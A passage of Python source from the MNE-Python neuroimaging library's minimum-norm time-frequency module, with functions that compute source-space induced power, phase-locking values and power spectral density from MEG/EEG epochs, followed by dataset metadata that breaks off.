_safe_svd(K, full_matrices=False)\n rank = np.sum(s > 1e-8 * s[0])\n K = s[:rank] * U[:, :rank]\n Vh = Vh[:rank]\n logger.info(\"Reducing data rank %d -> %d\" % (len(s), rank))\n else:\n Vh = None\n is_free_ori = inverse_operator[\"source_ori\"] == FIFF.FIFFV_MNE_FREE_ORI\n\n return K, sel, Vh, vertno, is_free_ori, noise_norm, k_idxs\n\n\n@verbose\ndef source_band_induced_power(\n epochs,\n inverse_operator,\n bands,\n label=None,\n lambda2=1.0 / 9.0,\n method=\"dSPM\",\n nave=1,\n n_cycles=5,\n df=1,\n use_fft=False,\n decim=1,\n baseline=None,\n baseline_mode=\"logratio\",\n pca=True,\n n_jobs=None,\n prepared=False,\n method_params=None,\n use_cps=True,\n *,\n verbose=None,\n):\n \"\"\"Compute source space induced power in given frequency bands.\n\n Parameters\n ----------\n epochs : instance of Epochs\n The epochs.\n inverse_operator : instance of InverseOperator\n The inverse operator.\n bands : dict\n Example : bands = dict(alpha=[8, 9]).\n label : Label | list of Label\n Restricts the source estimates to a given label or list of labels. If\n labels are provided in a list, power will be averaged over vertices.\n lambda2 : float\n The regularization parameter of the minimum norm.\n method : \"MNE\" | \"dSPM\" | \"sLORETA\" | \"eLORETA\"\n Use minimum norm, dSPM (default), sLORETA, or eLORETA.\n nave : int\n The number of averages used to scale the noise covariance matrix.\n n_cycles : float | array of float\n Number of cycles. Fixed number or one per frequency.\n df : float\n Delta frequency within bands.\n use_fft : bool\n Do convolutions in time or frequency domain with FFT.\n decim : int\n Temporal decimation factor.\n baseline : None (default) or tuple, shape (2,)\n The time interval to apply baseline correction. If None do not apply\n it. If baseline is (a, b) the interval is between \"a (s)\" and \"b (s)\".\n If a is None the beginning of the data is used and if b is None then b\n is set to the end of the interval. If baseline is equal to (None, None)\n all the time interval is used.\n baseline_mode : 'mean' | 'ratio' | 'logratio' | 'percent' | 'zscore' | 'zlogratio'\n Perform baseline correction by\n\n - subtracting the mean of baseline values ('mean')\n - dividing by the mean of baseline values ('ratio')\n - dividing by the mean of baseline values and taking the log\n ('logratio')\n - subtracting the mean of baseline values followed by dividing by\n the mean of baseline values ('percent')\n - subtracting the mean of baseline values and dividing by the\n standard deviation of baseline values ('zscore')\n - dividing by the mean of baseline values, taking the log, and\n dividing by the standard deviation of log baseline values\n ('zlogratio')\n\n pca : bool\n If True, the true dimension of data is estimated before running\n the time-frequency transforms. It reduces the computation times\n e.g. with a dataset that was maxfiltered (true dim is 64).\n %(n_jobs)s\n prepared : bool\n If True, do not call :func:`prepare_inverse_operator`.\n method_params : dict | None\n Additional options for eLORETA. See Notes of :func:`apply_inverse`.\n\n .. versionadded:: 0.16\n %(use_cps_restricted)s\n\n .. versionadded:: 0.20\n %(verbose)s\n\n Returns\n -------\n stcs : dict of SourceEstimate (or VolSourceEstimate)\n The estimated source space induced power estimates in shape\n (n_vertices, n_frequencies, n_samples) if label=None or label=label.\n For lists of one or more labels, the induced power estimate has shape\n (n_labels, n_frequencies, n_samples).\n \"\"\" # noqa: E501\n _check_option(\"method\", method, INVERSE_METHODS)\n\n freqs = np.concatenate(\n [np.arange(band[0], band[1] + df / 2.0, df) for _, band in bands.items()]\n )\n\n powers, _, vertno = _source_induced_power(\n epochs,\n inverse_operator,\n freqs,\n label=label,\n lambda2=lambda2,\n method=method,\n nave=nave,\n n_cycles=n_cycles,\n decim=decim,\n use_fft=use_fft,\n pca=pca,\n n_jobs=n_jobs,\n with_plv=False,\n prepared=prepared,\n method_params=method_params,\n use_cps=use_cps,\n )\n\n Fs = epochs.info[\"sfreq\"] # sampling in Hz\n stcs = dict()\n\n subject = _subject_from_inverse(inverse_operator)\n _log_rescale(baseline, baseline_mode) # for early failure\n for name, band in bands.items():\n idx = [k for k, f in enumerate(freqs) if band[0] <= f <= band[1]]\n\n # average power in band + mean over epochs\n power = np.mean(powers[:, idx, :], axis=1)\n\n # Run baseline correction\n power = rescale(\n power,\n epochs.times[::decim],\n baseline,\n baseline_mode,\n copy=False,\n verbose=False,\n )\n\n tmin = epochs.times[0]\n tstep = float(decim) / Fs\n stc = _make_stc(\n power,\n vertices=vertno,\n tmin=tmin,\n tstep=tstep,\n subject=subject,\n src_type=inverse_operator[\"src\"].kind,\n )\n stcs[name] = stc\n\n logger.info(\"[done]\")\n\n return stcs\n\n\ndef _prepare_tfr(data, decim, pick_ori, Ws, K, source_ori):\n \"\"\"Prepare TFR source localization.\"\"\"\n n_times = data[:, :, ::decim].shape[2]\n n_freqs = len(Ws)\n n_sources = K.shape[0]\n is_free_ori = False\n if source_ori == FIFF.FIFFV_MNE_FREE_ORI and pick_ori is None:\n is_free_ori = True\n n_sources //= 3\n\n shape = (n_sources, n_freqs, n_times)\n return shape, is_free_ori\n\n\n@verbose\ndef _compute_pow_plv(\n data,\n K,\n sel,\n Ws,\n source_ori,\n use_fft,\n Vh,\n with_power,\n with_plv,\n pick_ori,\n decim,\n noise_norm=None,\n verbose=None,\n):\n \"\"\"Aux function for induced power and PLV.\"\"\"\n shape, is_free_ori = _prepare_tfr(data, decim, pick_ori, Ws, K, source_ori)\n power = np.zeros(shape, dtype=np.float64) # power or raw TFR\n # phase lock\n plv = np.zeros(shape, dtype=np.complex128) if with_plv else None\n\n for epoch in data:\n epoch = epoch[sel] # keep only selected channels\n\n if Vh is not None:\n epoch = np.dot(Vh, epoch) # reducing data rank\n\n power_e, plv_e = _single_epoch_tfr(\n data=epoch,\n is_free_ori=is_free_ori,\n K=K,\n Ws=Ws,\n use_fft=use_fft,\n decim=decim,\n shape=shape,\n with_plv=with_plv,\n with_power=with_power,\n )\n\n power += power_e\n if with_plv:\n plv += plv_e\n\n if noise_norm is not None:\n power *= noise_norm[:, :, np.newaxis] ** 2\n\n return power, plv\n\n\ndef _single_epoch_tfr(\n data, is_free_ori, K, Ws, use_fft, decim, shape, with_plv, with_power\n):\n \"\"\"Compute single trial TFRs, either ITC, power or raw TFR.\"\"\"\n tfr_e = np.zeros(shape, dtype=np.float64) # power or raw TFR\n # phase lock\n plv_e = np.zeros(shape, dtype=np.complex128) if with_plv else None\n n_sources, _, n_times = shape\n for f, w in enumerate(Ws):\n tfr_ = cwt(data, [w], use_fft=use_fft, decim=decim)\n tfr_ = np.asfortranarray(tfr_.reshape(len(data), -1))\n\n # phase lock and power at freq f\n if with_plv:\n plv_f = np.zeros((n_sources, n_times), dtype=np.complex128)\n\n tfr_f = np.zeros((n_sources, n_times), dtype=np.float64)\n\n for k, t in enumerate([np.real(tfr_), np.imag(tfr_)]):\n sol = np.dot(K, t)\n\n sol_pick_normal = sol\n if is_free_ori:\n sol_pick_normal = sol[2::3]\n\n if with_plv:\n if k == 0: # real\n plv_f += sol_pick_normal\n else: # imag\n plv_f += 1j * sol_pick_normal\n\n if is_free_ori:\n logger.debug(\"combining the current components...\")\n sol = combine_xyz(sol, square=with_power)\n elif with_power:\n sol *= sol\n tfr_f += sol\n del sol\n\n tfr_e[:, f, :] += tfr_f\n del tfr_f\n\n if with_plv:\n plv_f /= np.abs(plv_f)\n plv_e[:, f, :] += plv_f\n del plv_f\n\n return tfr_e, plv_e\n\n\ndef _get_label_power(power, labels, vertno, k_idxs):\n \"\"\"Average power across vertices in labels.\"\"\"\n (_, ps1, ps2) = power.shape\n # construct out array with correct shape\n out_power = np.zeros(shape=(len(labels), ps1, ps2))\n\n # for each label, compile list of vertices we want\n for li in np.arange(len(labels)):\n lab = labels[li]\n hemis = (\"lh\", \"rh\")\n all_vnums = [[], []]\n if lab.hemi == \"both\":\n all_vnums[0] = np.intersect1d(lab.lh.vertices, vertno[0])\n all_vnums[1] = np.intersect1d(lab.rh.vertices, vertno[1])\n else:\n assert lab.hemi == \"lh\" or lab.hemi == \"rh\"\n h_id = 0 if lab.hemi == \"lh\" else 1\n all_vnums[h_id] = np.intersect1d(vertno[h_id], lab.vertices)\n\n verts = [(hemis[hi], vn) for hi in range(2) for vn in all_vnums[hi]]\n\n # restrict power to relevant vertices in label\n lab_mask = np.array([False] * len(power))\n for vert in verts:\n lab_mask[k_idxs[vert]] = True # k_idxs[vert] gives power row index\n lab_power = power[lab_mask] # only pass through rows we want\n assert lab_power.shape == (len(verts), ps1, ps2)\n\n # set correct out values for label\n out_power[li, :, :] = np.mean(lab_power, axis=0)\n\n assert out_power.shape == (len(labels), ps1, ps2)\n return out_power\n\n\n@verbose\ndef _source_induced_power(\n epochs,\n inverse_operator,\n freqs,\n label=None,\n lambda2=1.0 / 9.0,\n method=\"dSPM\",\n nave=1,\n n_cycles=5,\n decim=1,\n use_fft=False,\n pca=True,\n pick_ori=\"normal\",\n n_jobs=None,\n with_plv=True,\n zero_mean=False,\n prepared=False,\n method_params=None,\n use_cps=True,\n verbose=None,\n):\n \"\"\"Aux function for source induced power.\"\"\"\n if label:\n _validate_type(\n label,\n types=(Label, BiHemiLabel, list, tuple, None),\n type_name=(\"Label or BiHemiLabel\", \"list of labels\", \"None\"),\n )\n if isinstance(label, (list, tuple)):\n for item in label:\n _validate_type(\n item,\n types=(Label, BiHemiLabel),\n type_name=(\"Label or BiHemiLabel\"),\n )\n if len(label) > 1 and with_plv:\n raise RuntimeError(\n \"Phase-locking value cannot be calculated \"\n \"when averaging induced power within \"\n \"labels. Please set `with_plv` to False, pass a \"\n \"single `label=label`, or set `label=None`.\"\n )\n\n epochs_data = epochs.get_data(copy=False)\n K, sel, Vh, vertno, is_free_ori, noise_norm, k_id = _prepare_source_params(\n inst=epochs,\n inverse_operator=inverse_operator,\n label=label,\n lambda2=lambda2,\n method=method,\n nave=nave,\n pca=pca,\n pick_ori=pick_ori,\n prepared=prepared,\n method_params=method_params,\n use_cps=use_cps,\n )\n\n inv = inverse_operator\n parallel, my_compute_source_tfrs, n_jobs = parallel_func(\n _compute_pow_plv, n_jobs, max_jobs=len(epochs_data)\n )\n Fs = epochs.info[\"sfreq\"] # sampling in Hz\n\n logger.info(\"Computing source power ...\")\n\n Ws = morlet(Fs, freqs, n_cycles=n_cycles, zero_mean=zero_mean)\n\n out = parallel(\n my_compute_source_tfrs(\n data=data,\n K=K,\n sel=sel,\n Ws=Ws,\n source_ori=inv[\"source_ori\"],\n use_fft=use_fft,\n Vh=Vh,\n with_plv=with_plv,\n with_power=True,\n pick_ori=pick_ori,\n decim=decim,\n noise_norm=noise_norm,\n )\n for data in np.array_split(epochs_data, n_jobs)\n )\n power = sum(o[0] for o in out) # power shape: (n_verts, n_freqs, n_samps)\n power /= len(epochs_data) # average power over epochs\n\n if isinstance(label, (Label, BiHemiLabel)):\n logger.info(\n f\"Outputting power for {len(power)} vertices in label {label.name}.\"\n )\n elif isinstance(label, list):\n power = _get_label_power(power, label, vertno, k_id)\n logger.info(\n \"Averaging induced power across vertices within labels \"\n f\"for {len(label)} label{_pl(label)}.\"\n )\n else:\n assert not label\n\n if with_plv:\n plv = sum(o[1] for o in out)\n plv = np.abs(plv)\n plv /= len(epochs_data) # average power over epochs\n else:\n plv = None\n\n return power, plv, vertno\n\n\n@verbose\ndef source_induced_power(\n epochs,\n inverse_operator,\n freqs,\n label=None,\n lambda2=1.0 / 9.0,\n method=\"dSPM\",\n nave=1,\n n_cycles=5,\n decim=1,\n use_fft=False,\n pick_ori=None,\n baseline=None,\n baseline_mode=\"logratio\",\n pca=True,\n n_jobs=None,\n *,\n return_plv=True,\n zero_mean=False,\n prepared=False,\n method_params=None,\n use_cps=True,\n verbose=None,\n):\n \"\"\"Compute induced power and phase lock.\n\n Computation can optionally be restricted in a label.\n\n Parameters\n ----------\n epochs : instance of Epochs\n The epochs.\n inverse_operator : instance of InverseOperator\n The inverse operator.\n freqs : array\n Array of frequencies of interest.\n label : Label | list of Label\n Restricts the source estimates to a given label or list of labels. If\n labels are provided in a list, power will be averaged over vertices within each\n label.\n lambda2 : float\n The regularization parameter of the minimum norm.\n method : \"MNE\" | \"dSPM\" | \"sLORETA\" | \"eLORETA\"\n Use minimum norm, dSPM (default), sLORETA, or eLORETA.\n nave : int\n The number of averages used to scale the noise covariance matrix.\n n_cycles : float | array of float\n Number of cycles. Fixed number or one per frequency.\n decim : int\n Temporal decimation factor.\n use_fft : bool\n Do convolutions in time or frequency domain with FFT.\n pick_ori : None | \"normal\"\n If \"normal\", rather than pooling the orientations by taking the norm,\n only the radial component is kept. This is only implemented\n when working with loose orientations.\n baseline : None (default) or tuple of length 2\n The time interval to apply baseline correction.\n If None do not apply it. If baseline is (a, b)\n the interval is between \"a (s)\" and \"b (s)\".\n If a is None the beginning of the data is used\n and if b is None then b is set to the end of the interval.\n If baseline is equal to (None, None) all the time\n interval is used.\n baseline_mode : 'mean' | 'ratio' | 'logratio' | 'percent' | 'zscore' | 'zlogratio'\n Perform baseline correction by\n\n - subtracting the mean of baseline values ('mean')\n - dividing by the mean of baseline values ('ratio')\n - dividing by the mean of baseline values and taking the log\n ('logratio')\n - subtracting the mean of baseline values followed by dividing by\n the mean of baseline values ('percent')\n - subtracting the mean of baseline values and dividing by the\n standard deviation of baseline values ('zscore')\n - dividing by the mean of baseline values, taking the log, and\n dividing by the standard deviation of log baseline values\n ('zlogratio')\n\n pca : bool\n If True, the true dimension of data is estimated before running\n the time-frequency transforms. It reduces the computation times\n e.g. with a dataset that was maxfiltered (true dim is 64).\n %(n_jobs)s\n return_plv : bool\n If True, return the phase-locking value array. Else, only return power.\n\n .. versionadded:: 1.6\n zero_mean : bool\n Make sure the wavelets are zero mean.\n prepared : bool\n If True, do not call :func:`prepare_inverse_operator`.\n method_params : dict | None\n Additional options for eLORETA. See Notes of :func:`apply_inverse`.\n %(use_cps_restricted)s\n\n .. versionadded:: 0.20\n %(verbose)s\n\n Returns\n -------\n power : array\n The induced power array with shape (n_sources, n_freqs, n_samples) if\n label=None or label=label. For lists of one or more labels, the induced\n power estimate has shape (n_labels, n_frequencies, n_samples).\n plv : array\n The phase-locking value array with shape (n_sources, n_freqs,\n n_samples). Only returned if ``return_plv=True``.\n \"\"\" # noqa: E501\n _check_option(\"method\", method, INVERSE_METHODS)\n _check_ori(pick_ori, inverse_operator[\"source_ori\"], inverse_operator[\"src\"])\n\n power, plv, vertno = _source_induced_power(\n epochs,\n inverse_operator,\n freqs,\n label=label,\n lambda2=lambda2,\n method=method,\n nave=nave,\n n_cycles=n_cycles,\n decim=decim,\n use_fft=use_fft,\n pick_ori=pick_ori,\n pca=pca,\n n_jobs=n_jobs,\n with_plv=return_plv,\n method_params=method_params,\n zero_mean=zero_mean,\n prepared=prepared,\n use_cps=use_cps,\n )\n\n # Run baseline correction\n power = rescale(power, epochs.times[::decim], baseline, baseline_mode, copy=False)\n\n outs = (power, plv) if return_plv else power\n return outs\n\n\n@verbose\ndef compute_source_psd(\n raw,\n inverse_operator,\n lambda2=1.0 / 9.0,\n method=\"dSPM\",\n tmin=0.0,\n tmax=None,\n fmin=0.0,\n fmax=200.0,\n n_fft=2048,\n overlap=0.5,\n pick_ori=None,\n label=None,\n nave=1,\n pca=True,\n prepared=False,\n method_params=None,\n inv_split=None,\n bandwidth=\"hann\",\n adaptive=False,\n low_bias=False,\n n_jobs=None,\n return_sensor=False,\n dB=False,\n *,\n verbose=None,\n):\n \"\"\"Compute source power spectral density (PSD).\n\n Parameters\n ----------\n raw : instance of Raw\n The raw data.\n inverse_operator : instance of InverseOperator\n The inverse operator.\n lambda2 : float\n The regularization parameter.\n method : \"MNE\" | \"dSPM\" | \"sLORETA\"\n Use minimum norm, dSPM (default), sLORETA, or eLORETA.\n tmin : float\n The beginning of the time interval of interest (in seconds).\n Use 0. for the beginning of the file.\n tmax : float | None\n The end of the time interval of interest (in seconds). If None\n stop at the end of the file.\n fmin : float\n The lower frequency of interest.\n fmax : float\n The upper frequency of interest.\n n_fft : int\n Window size for the FFT. Should be a power of 2.\n overlap : float\n The overlap fraction between windows. Should be between 0 and 1.\n 0 means no overlap.\n pick_ori : None | \"normal\"\n If \"normal\", rather than pooling the orientations by taking the norm,\n only the radial component is kept. This is only implemented\n when working with loose orientations.\n label : Label\n Restricts the source estimates to a given label.\n nave : int\n The number of averages used to scale the noise covariance matrix.\n pca : bool\n If True, the true dimension of data is estimated before running\n the time-frequency transforms. It reduces the computation times\n e.g. with a dataset that was maxfiltered (true dim is 64).\n prepared : bool\n If True, do not call :func:`prepare_inverse_operator`.\n method_params : dict | None\n Additional options for eLORETA. See Notes of :func:`apply_inverse`.\n\n .. versionadded:: 0.16\n inv_split : int or None\n Split inverse operator into inv_split parts in order to save memory.\n\n .. versionadded:: 0.17\n bandwidth : float | str\n The bandwidth of the multi taper windowing function in Hz.\n Can also be a string (e.g., 'hann') to use a single window.\n\n For backward compatibility, the default is 'hann'.\n\n .. versionadded:: 0.17\n adaptive : bool\n Use adaptive weights to combine the tapered spectra into PSD\n (slow, use n_jobs >> 1 to speed up computation).\n\n .. versionadded:: 0.17\n low_bias : bool\n Only use tapers with more than 90%% spectral concentration within\n bandwidth.\n\n .. versionadded:: 0.17\n %(n_jobs)s\n It is only used if adaptive=True.\n\n .. versionadded:: 0.17\n return_sensor : bool\n If True, return the sensor PSDs as an EvokedArray.\n\n .. versionadded:: 0.17\n dB : bool\n If True (default False), return output it decibels.\n\n .. versionadded:: 0.17\n %(verbose)s\n\n Returns\n -------\n stc_psd : instance of SourceEstimate | VolSourceEstimate\n The PSD of each of the sources.\n sensor_psd : instance of EvokedArray\n The PSD of each sensor. Only returned if ``return_sensor`` is True.\n\n See Also\n --------\n compute_source_psd_epochs\n\n Notes\n -----\n Each window is multiplied by a window before processing, so\n using a non-zero overlap is recommended.\n\n This function is different from :func:`compute_source_psd_epochs` in that:\n\n 1. ``bandwidth='hann'`` by default, skipping multitaper estimation\n 2. For convenience it wraps\n :func:`mne.make_fixed_length_events` and :class:`mne.Epochs`.\n\n Otherwise the two should produce identical results.\n \"\"\"\n tmin = 0.0 if tmin is None else float(tmin)\n overlap = float(overlap)\n if not 0 <= overlap < 1:\n raise ValueError(\n \"Overlap must be at least 0 and less than 1, got %s\" % (overlap,)\n )\n n_fft = int(n_fft)\n duration = ((1.0 - overlap) * n_fft) / raw.info[\"sfreq\"]\n events = make_fixed_length_events(raw, 1, tmin, tmax, duration)\n epochs = Epochs(raw, events, 1, 0, (n_fft - 1) / raw.info[\"sfreq\"], baseline=None)\n out = compute_source_psd_epochs(\n epochs,\n inverse_operator,\n lambda2,\n method,\n fmin,\n fmax,\n pick_ori,\n label,\n nave,\n pca,\n inv_split,\n bandwidth,\n adaptive,\n low_bias,\n True,\n n_jobs,\n prepared,\n method_params,\n return_sensor=True,\n )\n source_data = 0.0\n sensor_data = 0.0\n count = 0\n for stc, evoked in out:\n source_data += stc.data\n sensor_data += evoked.data\n count += 1\n assert count > 0 # should be guaranteed by make_fixed_length_events\n sensor_data /= count\n source_data /= count\n if dB:\n np.log10(sensor_data, out=sensor_data)\n sensor_data *= 10.0\n np.log10(source_data, out=source_data)\n source_data *= 10.0\n evoked.data = sensor_data\n evoked.nave = count\n stc.data = source_data\n out = stc\n if return_sensor:\n out = (out, evoked)\n return out\n\n\ndef _compute_source_psd_epochs(\n epochs,\n inverse_operator,\n lambda2=1.0 / 9.0,\n method=\"dSPM\",\n fmin=0.0,\n fmax=200.0,\n pick_ori=None,\n label=None,\n nave=1,\n pca=True,\n inv_split=None,\n bandwidth=4.0,\n adaptive=False,\n low_bias=True,\n n_jobs=None,\n prepared=False,\n method_params=None,\n return_sensor=False,\n use_cps=True,\n):\n \"\"\"Generate compute_source_psd_epochs.\"\"\"\n logger.info(\"Considering frequencies %g ... %g Hz\" % (fmin, fmax))\n\n if label:\n # TODO: add multi-label support\n # since `_prepare_source_params` can handle a list of labels now,\n # multi-label support should be within reach for psd calc as well\n _validate_type(\n label,\n types=(Label, BiHemiLabel, None),\n type_name=(\"Label or BiHemiLabel\", \"None\"),\n )\n\n K, sel, Vh, vertno, is_free_ori, noise_norm, _ = _prepare_source_params(\n inst=epochs,\n inverse_operator=inverse_operator,\n label=label,\n lambda2=lambda2,\n method=method,\n nave=nave,\n pca=pca,\n pick_ori=pick_ori,\n prepared=prepared,\n method_params=method_params,\n use_cps=use_cps,\n )\n # Simplify code with a tiny (rel. to other computations) penalty for eye\n # mult\n Vh = np.eye(K.shape[1]) if Vh is None else Vh\n\n # split the inverse operator\n if inv_split is not None:\n K_split = np.array_split(K, inv_split)\n else:\n K_split = [K]\n\n # compute DPSS windows\n n_times = len(epochs.times)\n sfreq = epochs.info[\"sfreq\"]\n\n dpss, eigvals, adaptive = _compute_mt_params(\n n_times, sfreq, bandwidth, low_bias, adaptive, verbose=False\n )\n\n n_tapers = len(dpss)\n try:\n n_epochs = len(epochs)\n except RuntimeError:\n n_epochs = len(epochs.events)\n extra = \"on at most %d epochs\" % (n_epochs,)\n else:\n extra = \"on %d epochs\" % (n_epochs,)\n if isinstance(bandwidth, str):\n bandwidth = \"%s windowing\" % (bandwidth,)\n else:\n bandwidth = \"%d tapers with bandwidth %0.1f Hz\" % (n_tapers, bandwidth)\n logger.info(\"Using %s %s\" % (bandwidth, extra))\n\n if adaptive:\n parallel, my_psd_from_mt_adaptive, n_jobs = parallel_func(\n _psd_from_mt_adaptive, n_jobs\n )\n else:\n weights = np.sqrt(eigvals)[np.newaxis, :, np.newaxis]\n\n subject = _subject_from_inverse(inverse_operator)\n iter_epochs = ProgressBar(epochs, max_value=n_epochs)\n evoked_info = pick_info(epochs.info, sel, verbose=False)\n for k, e in enumerate(iter_epochs):\n data = np.dot(Vh, e[sel]) # reducing data rank\n\n # compute tapered spectra in sensor space\n x_mt, freqs = _mt_spectra(data, dpss, sfreq)\n\n if k == 0:\n freq_mask = (freqs >= fmin) & (freqs <= fmax)\n fstep = np.mean(np.diff(freqs))\n with evoked_info._unlock():\n evoked_info[\"sfreq\"] = 1.0 / fstep\n freqs = freqs[freq_mask]\n\n # sensor space PSD\n x_mt_sensor = np.empty(\n (len(sel), x_mt.shape[1], x_mt.shape[2]), dtype=x_mt.dtype\n )\n for i in range(n_tapers):\n x_mt_sensor[:, i, :] = np.dot(Vh.T, x_mt[:, i, :])\n if adaptive:\n out = parallel(\n my_psd_from_mt_adaptive(x, eigvals, freq_mask)\n for x in np.array_split(x_mt_sensor, min(n_jobs, len(x_mt_sensor)))\n )\n sensor_psd = np.concatenate(out)\n else:\n x_mt_sensor = x_mt_sensor[:, :, freq_mask]\n sensor_psd = _psd_from_mt(x_mt_sensor, weights)\n\n # allocate space for output\n psd = np.empty((K.shape[0], np.sum(freq_mask)))\n\n # Optionally, we split the inverse operator into parts to save memory.\n # Without splitting the tapered spectra in source space have size\n # (n_vertices x n_tapers x n_times / 2)\n pos = 0\n for K_part in K_split:\n # allocate space for tapered spectra in source space\n x_mt_src = np.empty(\n (K_part.shape[0], x_mt.shape[1], x_mt.shape[2]), dtype=x_mt.dtype\n )\n\n # apply inverse to each taper (faster than equiv einsum)\n for i in range(n_tapers):\n x_mt_src[:, i, :] = np.dot(K_part, x_mt[:, i, :])\n\n # compute the psd\n if adaptive:\n out = parallel(\n my_psd_from_mt_adaptive(x, eigvals, freq_mask)\n for x in np.array_split(x_mt_src, min(n_jobs, len(x_mt_src)))\n )\n this_psd = np.concatenate(out)\n else:\n x_mt_src = x_mt_src[:, :, freq_mask]\n this_psd = _psd_from_mt(x_mt_src, weights)\n\n psd[pos : pos + K_part.shape[0], :] = this_psd\n pos += K_part.shape[0]\n\n # combine orientations\n if is_free_ori and pick_ori is None:\n psd = combine_xyz(psd, square=False)\n\n if noise_norm is not None:\n psd *= noise_norm**2\n\n out = _make_stc(\n psd,\n tmin=freqs[0],\n tstep=fstep,\n vertices=vertno,\n subject=subject,\n src_type=inverse_operator[\"src\"].kind,\n )\n\n if return_sensor:\n comment = \"Epoch %d PSD\" % (k,)\n out = (\n out,\n EvokedArray(sensor_psd, evoked_info.copy(), freqs[0], comment, nave),\n )\n\n # we return a generator object for \"stream processing\"\n yield out\n\n iter_epochs.update(n_epochs) # in case some were skipped\n\n\n@verbose\ndef compute_source_psd_epochs(\n epochs,\n inverse_operator,\n lambda2=1.0 / 9.0,\n method=\"dSPM\",\n fmin=0.0,\n fmax=200.0,\n pick_ori=None,\n label=None,\n nave=1,\n pca=True,\n inv_split=None,\n bandwidth=4.0,\n adaptive=False,\n low_bias=True,\n return_generator=False,\n n_jobs=None,\n prepared=False,\n method_params=None,\n return_sensor=False,\n use_cps=True,\n verbose=None,\n):\n \"\"\"Compute source power spectral density (PSD) from Epochs.\n\n This uses the multi-taper method to compute the PSD for each epoch.\n\n Parameters\n ----------\n epochs : instance of Epochs\n The raw data.\n inverse_operator : instance of InverseOperator\n The inverse operator.\n lambda2 : float\n The regularization parameter.\n method : \"MNE\" | \"dSPM\" | \"sLORETA\" | \"eLORETA\"\n Use minimum norm, dSPM (default), sLORETA, or eLORETA.\n fmin : float\n The lower frequency of interest.\n fmax : float\n The upper frequency of interest.\n pick_ori : None | \"normal\"\n If \"normal\", rather than pooling the orientations by taking the norm,\n only the radial component is kept. This is only implemented\n when working with loose orientations.\n label : Label\n Restricts the source estimates to a given label.\n nave : int\n The number of averages used to scale the noise covariance matrix.\n pca : bool\n If True, the true dimension of data is estimated before running\n the time-frequency transforms. It reduces the computation times\n e.g. with a dataset that was maxfiltered (true dim is 64).\n inv_split : int or None\n Split inverse operator into inv_split parts in order to save memory.\n bandwidth : float | str\n The bandwidth of the multi taper windowing function in Hz.\n Can also be a string (e.g., 'hann') to use a single window.\n adaptive : bool\n Use adaptive weights to combine the tapered spectra into PSD\n (slow, use n_jobs >> 1 to speed up computation).\n low_bias : bool\n Only use tapers with more than 90%% spectral concentration within\n bandwidth.\n return_generator : bool\n Return a generator object instead of a list. This allows iterating\n over the stcs without having to keep them all in memory.\n %(n_jobs)s\n It is only used if adaptive=True.\n prepared : bool\n If True, do not call :func:`prepare_inverse_operator`.\n method_params : dict | None\n Additional options for eLORETA. See Notes of :func:`apply_inverse`.\n\n .. versionadded:: 0.16\n return_sensor : bool\n If True, also return the sensor PSD for each epoch as an EvokedArray.\n\n .. versionadded:: 0.17\n %(use_cps_restricted)s\n\n .. versionadded:: 0.20\n %(verbose)s\n\n Returns\n -------\n out : list (or generator object)\n A list (or generator) for the source space PSD (and optionally the\n sensor PSD) for each epoch.\n\n See Also\n --------\n compute_source_psd\n \"\"\"\n # use an auxiliary function so we can either return a generator or a list\n stcs_gen = _compute_source_psd_epochs(\n epochs,\n inverse_operator,\n lambda2=lambda2,\n method=method,\n fmin=fmin,\n fmax=fmax,\n pick_ori=pick_ori,\n label=label,\n nave=nave,\n pca=pca,\n inv_split=inv_split,\n bandwidth=bandwidth,\n adaptive=adaptive,\n low_bias=low_bias,\n n_jobs=n_jobs,\n prepared=prepared,\n method_params=method_params,\n return_sensor=return_sensor,\n use_cps=use_cps,\n )\n\n if return_generator:\n # return generator object\n return stcs_gen\n else:\n # return a list\n stcs = list()\n for stc in stcs_gen:\n stcs.append(stc)\n\n return stcs\n", "repo_name": "mne-tools/mne-python", "sub_path": "mne/minimum_norm/time_frequency.py", "file_name": "time_frequency.py", "file_ext": "py", "file_size_in_byte": 38070, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2405, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.intersect1d", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.searchsorted", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.searchsorted", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 61, "usage_type": "call"}, {"api_name": "inverse._check_or_prepare", "line_number": 112, "usage_type": "call"}, {"api_name": "inverse._pick_channels_inverse_operator", "line_number": 119, "usage_type": "call"}, {"api_name": "utils.logger.info", "line_number": 120, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 120, "usage_type": "name"}, {"api_name": "utils.logger.info", "line_number": 121, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 121, "usage_type": "name"}, {"api_name": "label.Label", "line_number": 134, "usage_type": "name"}, {"api_name": "label.BiHemiLabel", "line_number": 134, "usage_type": "name"}, {"api_name": "inverse._assemble_kernel", "line_number": 135, "usage_type": "call"}, {"api_name": "label.Label", "line_number": 145, "usage_type": "name"}, {"api_name": "label.BiHemiLabel", "line_number": 145, "usage_type": "name"}, {"api_name": "inverse._assemble_kernel", "line_number": 146, "usage_type": "call"}, {"api_name": "fixes._safe_svd", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 152, "usage_type": "call"}, {"api_name": "utils.logger.info", "line_number": 155, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 155, "usage_type": "name"}, {"api_name": "_fiff.constants.FIFF.FIFFV_MNE_FREE_ORI", "line_number": 158, "usage_type": "attribute"}, {"api_name": "_fiff.constants.FIFF", "line_number": 158, "usage_type": "name"}, {"api_name": "utils._check_option", "line_number": 258, "usage_type": "call"}, {"api_name": "inverse.INVERSE_METHODS", "line_number": 258, "usage_type": "argument"}, {"api_name": "numpy.concatenate", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 261, "usage_type": "call"}, {"api_name": "epochs.info", "line_number": 283, "usage_type": "attribute"}, {"api_name": "inverse._subject_from_inverse", "line_number": 286, "usage_type": "call"}, {"api_name": "baseline._log_rescale", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 292, "usage_type": "call"}, {"api_name": "baseline.rescale", "line_number": 295, "usage_type": "call"}, {"api_name": "epochs.times", "line_number": 297, "usage_type": "attribute"}, {"api_name": "epochs.times", 